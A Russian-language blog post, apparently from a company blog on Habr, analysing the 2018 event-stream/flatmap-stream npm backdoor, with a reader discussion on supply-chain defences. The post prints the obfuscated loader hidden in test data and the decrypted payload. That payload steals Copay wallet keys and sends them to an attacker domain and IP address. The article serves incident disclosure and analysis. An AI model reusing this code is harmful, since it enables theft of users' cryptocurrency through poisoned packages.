Бэкдор в одной из зависимостей библиотеки EventStream



    Еженедельно из репозитория NPM загружается более 1,9 миллионов копий библиотеки EventStream. Она используется во многих крупных проектах для простой и удобной работы с потоками в Node.JS. Среди прочих, эта библиотека обрабатывает потоки и в популярном криптокошельке Copay (впрочем, об этом позже).

    21 ноября 2018 года случилось странное. GitHub-пользователь @FallingSnow сообщил, что в одной из зависимостей event-stream спрятан вредоносный код, который фактически представляет собой бэкдор неизвестной функциональности.

    Пользователи начали разбираться, откуда взялся этот вредоносный код. Это очень интересная и поучительная история. К сожалению, она может иметь долговременные последствия для многих open-source проектов.

    Итак, началось расследование. Благодаря истории коммитов на GitHub сразу стало понятно, что вредоносный коммит сделал другой пользователь @right9ctrl, которому были предоставлены права мейнтейнера для event-stream. На его счету ряд нормальных коммитов, а автор проекта Доминик Карр (@dominictarr) передал ему права мейнтейнера.

    Почему автор передал права мейнтейнера совершенно незнакомому человеку? Сам Доминик говорит, что ему в тягость заниматься проектом. См. подробное оправдание по поводу данного инцидента: автор пишет, что вообще создавал проект ради удовольствия и не думал, что его поддержка станет отнимать столько времени, а саму библиотеку задействуют в таком большом количестве серьёзных программ. Он не снимает с себя вину за инцидент, но говорит, что open-source проект не является его «собственностью», это общественное достояние, так что все остальные тоже в ответе за произошедшее. В конце концов, почему никто из нормальных людей не взял на себя права мейнтейнера и не занялся аудитом коммитов?

    Вернёмся к упомянутому коммиту @right9ctrl. Хитрость в том, что он не вносил код бэкдора непосредственно в библиотеку event-stream, а лишь внедрял зависимость на другой пакет flatmap-stream. Уже в нём под видом тестового набора данных (test/data.js) в одной из переменных передавался вредоносный код следующего содержания:

    Бэкдор
    // var r = require, t = process;
    
    // function e(r) {
    // return Buffer.from(r, "hex").toString()
    // }
    function decode(data) {
    return Buffer.from(data, "hex").toString()
    }
    
    // var n = r(e("2e2f746573742f64617461")),
    // var n = require(decode("2e2f746573742f64617461"))
    // var n = require('./test/data')
    var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
    // o = t[e(n[3])][e(n[4])];
    // npm_package_description = process[decode(n[3])][decode(n[4])];
    // npm_package_description = process['env']['npm_package_description'];
    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)
    
    // if (!o) return;
    if (!npm_package_description) return;
    
    // var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
    // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
    var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),
    
    // a = u.update(n[0], e(n[8]), e(n[9]));
    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));
    decoded = decipher.update(n[0], 'hex', 'utf8');
    
    console.log(n); // IDK why this is here...
    
    // a += u.final(e(n[9]));
    decoded += decipher.final('utf8');
    
    // var f = new module.constructor;
    var newModule = new module.constructor;
    
    /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
    // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
    // newModule.paths = module.paths
    // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
    // newModule.exports(n[1])

    После «расшифровки» переменной n картина проясняется.

    Первоначальная загрузка
    /*@@*/
    module.exports = function(e) {
    try {
    if (!/build\:.*\-release/.test(process.argv[2])) return;
    var t = process.env.npm_package_description,
    r = require("fs"),
    i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
    n = r.statSync(i),
    c = r.readFileSync(i, "utf8"),
    o = require("crypto").createDecipher("aes256", t),
    s = o.update(e, "hex", "utf8");
    s = "\n" + (s += o.final("utf8"));
    var a = c.indexOf("\n/*@@*/");
    0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
    try {
    r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
    } catch (e) {}
    })
    } catch (e) {}
    };

    Вторая стадия
    /*@@*/ ! function() {
    function e() {
    try {
    var o = require("http"),
    a = require("crypto"),
    c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";
    
    function i(e, t, n) {
    e = Buffer.from(e, "hex").toString();
    var r = o.request({
    hostname: e,
    port: 8080,
    method: "POST",
    path: "/" + t,
    headers: {
    "Content-Length": n.length,
    "Content-Type": "text/html"
    }
    }, function() {});
    r.on("error", function(e) {}), r.write(n), r.end()
    }
    
    function r(e, t) {
    for (var n = "", r = 0; r < t.length; r += 200) {
    var o = t.substr(r, 200);
    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
    }
    i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
    }
    
    function l(t, n) {
    if (window.cordova) try {
    var e = cordova.file.dataDirectory;
    resolveLocalFileSystemURL(e, function(e) {
    e.getFile(t, {
    create: !1
    }, function(e) {
    e.file(function(e) {
    var t = new FileReader;
    t.onloadend = function() {
    return n(JSON.parse(t.result))
    }, t.onerror = function(e) {
    t.abort()
    }, t.readAsText(e)
    })
    })
    })
    } catch (e) {} else {
    try {
    var r = localStorage.getItem(t);
    if (r) return n(JSON.parse(r))
    } catch (e) {}
    try {
    chrome.storage.local.get(t, function(e) {
    if (e) return n(JSON.parse(e[t]))
    })
    } catch (e) {}
    }
    }
    global.CSSMap = {}, l("profile", function(e) {
    for (var t in e.credentials) {
    var n = e.credentials[t];
    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
    var t = this;
    t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
    }.bind(n))
    }
    });
    var e = require("bitcore-wallet-client/lib/credentials.js");
    e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
    var t = this.getKeysFunc(e);
    try {
    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
    } catch (e) {}
    return t
    }
    } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
    }();

    После деобфускации стала понятна функциональность бэкдора. Оказалось, что он успешно срабатывает только при наличии в системе криптокошелька Copay (пакет copay-dash). В этом случае он копирует приватные кошельки пользователи и отправляет их на IP-адреса в Малайзии.

    Разработчики Copay провели расследование и выяснили, что бэкдор попал в зависимости с версиями кошелька от 5.0.2 до 5.1.0, то есть до последней версии. 27 ноября 2018 года они оперативно выпустили обновленную версию 5.2.0.

    Злоумышленник @right9ctrl не просто добавил бэкдор, но и постарался замести следы. Через три дня он удалил вредоносный код из репозитория flatmap-stream, обновил номер версии, а старую удалил с NPM. Таким образом, в последней версии пакета бэкдор отсутствует, но он уже разошёлся по десяткам тысяч машин, что и было целью. Такой метод оказался весьма успешным, судя по тому, что бэкдор обнаружили не сразу.

    Пока неизвестно, сколько именно средств удалось заработать злоумышленнику, но данная атака демонстрирует принципиальную эффективность самого метода внедрения бэкдоров в проекты open-source. Очевидно, что это не последний такой случай. Об этом пишет и Доминик Карр, автор пострадавшей библиотеки EventStream: «Вероятно, будет много других модулей в ваших деревьях зависимостей, которые теперь становятся бременем для их авторов» — и эти «обременительные» модули могут передаваться в управление другим мейнтейнерам, как произошло в данном случае, или даже продаваться за деньги. Поскольку зависимости внедрены в сотни и тысячи программ, то какой-нибудь самый маленький модуль способен стать источником больших проблем.

    Почему автор программы передаёт контроль над ней совершенно незнакомому человеку?

    «Если это уже не доставляет удовольствия, то вы не получаете буквально ничего от поддержки популярного пакета, — отвечает Доминик Карр. — Поэтому сейчас мы находимся в странной долине, где у вас есть куча зависимостей, которые поддерживаются теми, кто потерял интерес или даже начал выгорать, и кто сам больше не использует их. Вы можете легко поделиться кодом, но никто не хочет разделить ответственность за поддержание этого кода. Подобно тому, как модуль похож на часть цифровой собственности, право, которое может быть передано, но вы не получаете никакой выгоды от его владения, например, возможности продать его или отдать в аренду, однако вы по-прежнему сохраняете ответственность».

    Какой выход из сложившейся ситуации для пользователей свободного ПО? Или платить автору, или самим принимать активное участие в проекте, считает Карр.



    GlobalSign
    223,00
    Компания
    Поделиться публикацией

    Комментарии 51

      +12
      Что-то есть желание, чтобы любой блоб в исходниках обозначался бэкдором сразу без расследования, и на этапе компиляции в задницу выпиливался. Особенно касается всего интерпретируемого вроде javascript'a.
        +6
        Это не решит проблему, можно спрятать в тексте, картинке, звуке, видео, можно выкачивать со стороннего ресурса кучей способов, вплоть до назначения операционной системе такой задачи. Защитит только непосредственный анализ нового кода, чем вряд ли займутся все в open source.
          +2
          В таком случае, как минимум, помимо блоб необходимо и eval считать бэкдором.
            0
            Вообще да, так как у eval исполняемый код заранее неизвестен и неподконтролен — скачали ли его, в ресурсах спрятали или ещё где, и кто поручится, чтО именно ему подается на вход. Не зря же в процессорах появилась поддержка NX/XD битов на память, чтобы разделять, где у процесса данные, а где код. Вот только сколько всего завязано на этот eval — нет данных, может, слишком много, чтобы можно было так огульно его объявить вредным.
            +1
            С приходом WebAssembly ситуация еще усугубится. Байткода в npm-модулях станет только больше.
              0
              Но не в исходниках же. В исходниках будет проверяемый код без блобов, только на другом языке.
                0

                Значит я неправильно понял предыдущий коммент. Мне показалось, что там речь о пакетах с npm.


                Если это про исходники, то есть вот такое интересное предложение привязать npm-пакеты к их исходникам на Github. То есть сделать ситуацию, когда на гитхабе одно, а в npm другое, было невозможно технически.

                  0

                  Так в сам гитхаб бэкдор и зальют. Где спасение?)

                    0
                    Там он будет хотя бы виден, а не как тут: на гитхабе исходники нормальные, а в npm-пакете троянец сидит.
            –13
            Если Карр не хочет поддерживать либу, то пусть так и скажет, может пакет возьмут на поддержку или энтузиасты или компании, но раздавать права майнтейнера налево и направо — это не вариант от слова совсем.
              +34
              Так он так и сказал, пришел «энтузиаст» и начал «поддерживать». Как отличить хорошего энтузиаста от плохого?
                0

                Никак. Особо целеустремлённый хакер может сначала долго контрибьютить полезные вещи, завоевывать доверие, а потом тихонько оставить бэкдор.


                Поэтому я бы сфокусировался на минимизации поражения, когда хакер уже внутри, то есть грамотное разграничение прав в системе, чтобы ваш линтер не имел доступа к папкам за пределами проекта, тем более — к ключам от кошельков

                  0

                  Так "линтер" встраивались бэкдор в код, который потом работал с кошельком.

              –4

              А где-то есть основания считать, что старый и новый аккаунт использовали два разных человека?

                +1
                Чем больше зависимостей тем больше проблем, да это ускоряет разработку и это огромный плюс. Но вот появился один из больших минусов, нет никакой гарантии что где то, кто то, не сделает тоже самое повторно.
                Но адекватного выхода в современных реалиях я не вижу.
                  +1
                  Таков современный мир. Мы соглашаемся пользоваться автомобилями из-за их удобства, даже понимая, что ценой этому — тысячи смертей в год в ДТП. И мы соглашаемся пользоваться левыми зависимостями, поскольку это быстро и удобно, даже понимая, что рано или поздно такая зависимость украдёт наш кошелёк.
                    0
                    Одно дело «украдет наш кошелек». Другое «украдет кошельки тысяч наших клиентов»
                      +1
                      удалось заработать

                      Так принято в современном обществе говорить… (
                        +1
                        Так принято говорить только у совсем бесчестных людей.
                    0
                    Когда-то нечто подоброе должно было произойти.
                    Разрабы тащат себе в рот всякую бяку, а потом вот это :)

                    Вопрос — что делать-то?

                    Как защититься от «левого» энтузазиста, или прикинувшегося таковым изначального злодея — никто ведь не запрещает влиться в проект и честно его поддерживать, годика эдак два, а потом тихо и мирно вписать в какое-нибудь плохо просматриваемое место «тестовые» данные.
                    Насколько защищены в этом плане критичные и популярные вещи вроде дистрибов того же Дебиана / Минта / your_fav_ linux'a?

                      –6
                      Вопрос — что делать-то?

                      А это снова к вопросу о чистых языках программирования. Библиотечный или тестовый код физически не сможет ничего никуда отправить, если он не живёт в IO-монаде. Даже аудит ручками делать не надо, аудит сделает тайпчекер.

                        +3
                        Ух ты, много несогласия вижу я, а дискуссии почему-то не получается. Аж жалко!
                          +1

                          Попросил бы немного развить мысль: в каком production-ready языке эти возможности, на ваш взгляд, хорошо реализованы?

                            0
                            В хаскеле, например.
                              0
                              Вопрос, насколько его производительность позволяет ему быть production-ready, оставлю специалистам, ясно.
                                0
                                Вполне позволяет.

                                Числодробилки я бы на нем писать не стал, там плюсы лучше взять, а для остального — да, вполне. А если мы таки с JS сравниваем, то и это уточнение не нужно.
                                  0
                                  Дык, специалисты отвечали на этот вопрос. Уже минимум лет пять (судя по дате публикации) с производительностью и production-readiness у хаскеля всё в порядке:
                                  Программы на Haskell быстрее python, php, ruby (и других интерпретируемых языков). Быстрее Erlang/Java (и других vm-based языков). Обычно медленнее Си, хотя я видел несколько случаев, когда компилятор Haskell выдал результат, превосходящий сишный. Для любых практических применений производительности Haskell — за глаза и за уши.
                                    0
                                    Благодарю. Я, как человек, не крутящийся в этих кругах, подобное свидетельство искал бы явно в разы дольше, чем Вы.
                              +2
                              А что делать с библиотеками, которые живут в IO-монаде?
                                +1
                                Вот их придётся тщательно ревьювить, да.

                                Впрочем, я тут открыл некоторые свои домашние и рабочие проекты — в среднем на 10-20 прямых зависимостей (транзитивное замыкание получается в районе 100-200), есть 1-2, которые живут в IO, и IO-код которых действительно вызывается.
                            +7
                            Злоумышленник @right9ctrl не просто добавил бэкдор, но и постарался замести следы. Через три дня он удалил вредоносный код из репозитория flatmap-stream, обновил номер версии

                            Здесь нужна важная поправка. Злоумышленность пользователя @right9ctrl пока еще не доказана. Да, он добавил новую зависимость вот в этом коммите, но тот модуль опубликован от другого аккаунта: https://github.com/hugeglass/flatmap-stream


                            Возможно, за аккаунтами стоит один и тот же человек, а может и нет, a @right9ctrl просто добавил новую функциональность, запрошенную пользователями и по неопытности не проверил тот модуль.

                              +1
                              Учитывая, что он не стал как-либо объясняться/оправдываться и удалил свой аккаунт, всё же больше похоже на злонамеренное действие.
                              –4
                              Бред, зачем передавать права ментейнера? Если не хочешь поддерживать проект дальше то просто перестаешь это делать. Любой может сделать форк и выкладывать туда свои наработки
                                +1
                                Как правило когда приходится выбирать из 500 форков некогда живой либы, проще сменить либу на ту которая поддерживается оригинальным автором.
                                –2
                                Наверное легко найти все возможные бэкдоры, просто просканировав файлы, на предмет require('crypto') и т.п.
                                  +2

                                  На самом деле нет, потому что в данном случае конструкция require('crypto') выглядела как r(e(n[2])). Код был достаточно хорошо спрятан, его, может быть, и не нашли бы, если бы он не вызывал deprecated API, о чем был warning в консоль: https://github.com/remy/nodemon/issues/1442

                                    +9
                                    обновляйте свои бэкдоры! ;)
                                  +11

                                  На самом деле этот сценарий атаки уже был описан примерно год назад: Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов.


                                  Тогда это спровоцировало большое обсуждение и поиск способов защиты. В частности, в npm добавилась команда audit, которая предупреждает о модулях с уязвимостями, двухфакторная авторизация, а в репозитории теперь есть кнопка для репорта об уязвимом модуле, чтобы его оперативно удалили.


                                  Ну и наконец, ждем стабильного релиза deno, принципиальной переделки node, с возможностью запретить делать запросы в сеть любому модулю.

                                    +1
                                    В php композер тоже скачивает миллион зависимостей, но там есть простой пул решений: open_basedir чтобы не дать скриптам шариться по компу, а ещё disabled_functions, чтобы отключить всё, что может быть опасным и вообще, даже чисто архитектурно, не должно быть использовано.

                                    У js есть одна особенность: Вебпак, поэтому вряд ли можно отключить функции запуска процессов, манипуляций правами и всякого такого, нодовские фреймворки стали слишком от этого зависимы (и это кстати тоже проблема). Но разрабы могли бы сделать аналог open_basedir для песочницы, в которой крутятся нодовские процессы. Это сняло бы сразу часть проблем. И в идеале бы, чтобы в этой песочнице запускались и все дочерние процессы. Вряд ли найдётся много кодеров, которые заморачиваются настройкой изолированных сред для запуска самой среды разработки и нодовских процессов, так было бы невозможно работать, нужно решение из коробки как в пхп
                                      0
                                      Не так давно, кстати, был опубликован метод для обхода запрета на выполнение команд через функции типа «exec»
                                      github.com/Bo0oM/PHP_imap_open_exploit
                                      –4

                                      Ну, это не первый проблем с npm, вообще то. подробно


                                      Я не JS программист и не понимаю как все это работает, но мне кажется что зависимость от странных незнакомых людей по крайней мере неразумно.


                                      К тому же, если какая нибудь организация (Node.js Foundation) решила делать общественное хранилище библиотек – так контролируйте что в нем находится!

                                        +3
                                        Ну, для начала, это не Node.js foundation, а npm, Inc. Они и следят — как могут. Не будут же они ревьювить каждую строчку кода, которую залил очередной ноунейм.
                                        зависимость от странных незнакомых людей по крайней мере неразумно

                                        Ой, ну удалите пжалуйста все ОС со всех устройств — их тоже писали странные незнакомые люди. Пускай каждый пишет себе свою ОС. Вот и наступит рай на земле…
                                          –4
                                          Ну, для начала, это не Node.js foundation, а npm, Inc. Они и следят — как могут. Не будут же они ревьювить каждую строчку кода, которую залил очередной ноунейм.

                                          Ну хоть и гугл. Не можешь, не берись. Те обезьянки, которые берут и пользуются, они думают что все проверено, надежно. Репозиторий официальный, технология самая модная. А в конце получается что я не я и хата не моя. Только, как я уже сказал – в случае с лефт-падом, упала добрая половина веб-а. Теперь бэкдор появился.


                                          Кстати, мне совершенно не интересен npm, node.js и всякие извращенцы. Плохое только то, что некие недоумки криворукие делают глупостей, а ярлык вешают не на npm.inc и не на недоумков, а на все свободное ПО. Вот что бесит больше всего!

                                            +4

                                            "Не согласен — возражай. Возражаешь — предлагай". У Вас есть какие-нибудь более конкретные идеи, что в данном случае мог и должен был сделать npm, чтобы предотвратить проблему? А то, честно говоря, ощущение такое, что мы по большей части застряли на первом этапе: недовольства полно, а реальных альтернатив — не особо.

                                              –2

                                              У меня предложения есть. Ведь, я тоже разработчик свободного ПО. Только карма немного осталась… Но с другой стороной – делай что надо и будь что будет. :D


                                              Вся идея npm очевидно порочная. Автоматическое управление пакетов совершенно не решает ад зависимостей, только усугубляет его, потому что легче становится работать с очень глубокими графами зависимостей.


                                              А надо научится уменьшать эту глубину. И ветки этого графа обязательно надо проходить через библиотеки которые контролируются правильно и большим сообществом. Тогда и риски понижаться значительно.


                                              Вот у меня например зависимостей в текущем проекте от: 1. MUSL; 2. SQLite; 3. И все.

                                                +1

                                                Да? А от чего зависит 1. MUSL; 2. SQLite?
                                                Вы их зависимости имеете возможность контролировать?

                                                  0

                                                  Ну, SQLite зависит от MUSL, a MUSL от ничего не зависит. Как то так. :P


                                                  Так что да, имею возможность.

                                                    0
                                                    А по-моему, от «ничего» зависит любой пакет (и даже не-пакет).
                                                      0

                                                      Согласен. Тогда так: MUSL зависит только от ничего. И так как ничего с открытым кодом (пустой файл) то он тоже может быть проверен на уязвимости. :P

                                        +1
                                        Опубликовал перевод поста с детальным разбором и техническими деталями этого инцидента: habr.com/post/431360
                                          0
                                          Как заметили в посте на реддите, скрипт реагировал на кошельки от 100 BTC.

                                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                          Самое читаемое